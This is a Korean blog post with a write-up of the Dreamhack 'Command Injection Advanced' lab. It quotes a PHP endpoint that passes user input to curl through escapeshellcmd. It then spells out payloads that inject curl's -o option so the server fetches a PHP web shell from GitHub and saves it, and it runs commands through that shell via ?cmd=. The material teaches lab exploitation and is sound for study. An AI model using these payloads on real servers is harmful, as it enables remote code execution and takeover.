Command Injection Advanced

2026. 2. 6. 02:26·Dreamhack 워게임/Lv.1
반응형

문제 설명

Exercise: Command Injection Advanced에서 실습하는 문제입니다.


코드 분석

index.php

<?php
        if(isset($_GET['url'])){
            $url = $_GET['url'];
            if(strpos($url, 'http') !== 0 ){
                die('http only !');
            }else{
                $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
                $cache_file = './cache/'.md5($url);
                file_put_contents($cache_file, $result);
                echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
                echo '<pre>'. htmlentities($result) .'</pre>';
                return;
            }
        }else{
        ?>
  • url을 입력받고 curl을 실행함. 검증은 http인지만 확인함
  • 실행 결과를 cache 디렉터리에 저장한 뒤 링크로 노출

Dockerfile

...
RUN chmod 777 /var/www/html/cache/
COPY ./deploy/run-lamp.sh /usr/sbin/
...
COPY deploy/flag.c /flag.c
RUN apt install -y gcc \
    && gcc /flag.c -o /flag \
    && chmod 111 /flag && rm /flag.c

 

  • var/www/html/cache 권한이 777임
  • /flag 생성되는데 권한이 111 , 실행만 가능함

취약점 분석

  • escapeshellcmd()는 공백과 "-" 를 막지 않아서 curl 옵션이 주입 가능하다.
    즉 -o나 -d 같은 옵션을 넣어 파일을 외부나 쓰기가 가능함
  • URL을 http 문자열만 검사함

익스플로잇

명령이 직접 실행되는 것이 아니라 명령을 실행할 수 있는 파일을 서버에 심어 주는 것이 핵심

그래서 php 파일(웹셸)을 심어줌

 

먼저 webshell.php을 깃허브를 이용해 만들어줌

Raw를 눌러 URL을 가져옴

https://raw.githubusercontent.com/Oyeonseok/command-injection/refs/heads/main/webshell.php

 

문제의 화면으로 돌아가서 URL에 다음과 같이 작성

https://raw.githubusercontent.com/Oyeonseok/command-injection/refs/heads/main/webshell.php -o /var/www/html/cache/webshell.php
  • -o 옵션은 응답을 파일로 저장하는 옵션
  • /var/www/html/cache/는 권한이 777이라서 읽고/쓸수가 있음

이런식으로 파일이 생기고 URL에 /cache/webshell.php를 입력해 주면 

다음과 같이 브라우저에 출력된 것을 확인할 수 있음

따라서 다음과 같이 작성해주면

http://host3.dreamhack.games:11989/cache/webshell.php?cmd=/flag
  • dockerfile에서 /flag가 생성되는 것을 확인


그 외)

해당 링크에 웹 셸을 출력해주는 코드를 확인할 수 있다.

https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php -o /var/www/html/cache/webshell.php

을 입력해주고 똑같이 /cache/webshell.php에 접속해주면 된다.

그리고 다음과 같이 ls -al / 을 입력하고 Execute 해주면 flag파일 있는 것을 확인할 수 있고

flag는 실행 파일임으로, 입력칸에 /flag를 입력해 flag을 실행해주면 플래그를 획득할 수 있다.

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

File Vunleravility Advanced for Linux  (0) 2026.02.07
sql injection bypass WAF  (0) 2026.02.06
error based sql injection  (0) 2026.02.03
easy client side  (0) 2026.02.03
easy server side  (0) 2026.02.03
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • File Vunleravility Advanced for Linux
  • sql injection bypass WAF
  • error based sql injection
  • easy client side
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (168) N
      • Alpacahack (19)
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (16) N
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    xss
    JS
    DreamHack
    alpacahack
    webstudy
    cve
    hacking
    webhacking
    CSRF
    드림핵
    web
    JavaScript
    LLM
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
Command Injection Advanced
상단으로

티스토리툴바